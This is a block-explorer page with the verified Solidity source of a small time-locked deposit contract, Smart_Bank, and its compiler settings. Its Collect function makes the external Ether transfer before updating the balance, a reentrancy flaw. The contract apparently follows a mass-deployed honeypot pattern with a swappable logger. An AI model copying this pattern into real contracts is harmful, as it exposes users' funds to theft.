Verified contractPartial
Smart_Bank
Address0x1e657aa6716e74eb13f03ed3c10adcdca41c2c6a
- Balance
0 ETH
- Transactions
5
- Compiler
solc 0.7.6
- Same code
43 more contracts
Details
- Compiler
- solc 0.7.6+commit.7338295f
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- istanbul
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,382,627
- Creation transaction
- 0x00ba99b5ff…eb5590e0ed
Smart_Bank.sol
contract Smart_Bank {
function Deposit(uint _unlockTime) public payable {
Holder storage acc = Accounts[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime > block.timestamp ? _unlockTime : block.timestamp;
LogFile.AddMessage(msg.sender, msg.value, "Put");
}
function Collect(uint _am) public payable {
Holder storage acc = Accounts[msg.sender];
if (acc.balance > MinSum && acc.balance >= _am && block.timestamp > acc.unlockTime) {
(bool success, ) = msg.sender.call{value: _am}("");
if (success) {
acc.balance -= _am;
LogFile.AddMessage(msg.sender, _am, "Collect");
}
}
}
struct Holder {
uint unlockTime;
uint balance;
}
mapping(address => Holder) public Accounts;
Log LogFile;
uint public MinSum = 1 ether;
constructor(address log) {
LogFile = Log(log);
}
fallback() external payable {
Deposit(0);
}
receive() external payable {
Deposit(0);
}
}
contract Log {
event Message(address indexed Sender, string Data, uint Val, uint Time);
function AddMessage(address _adr, uint _val, string memory _data) external {
emit Message(_adr, _data, _val, block.timestamp);
}
}Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "istanbul",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.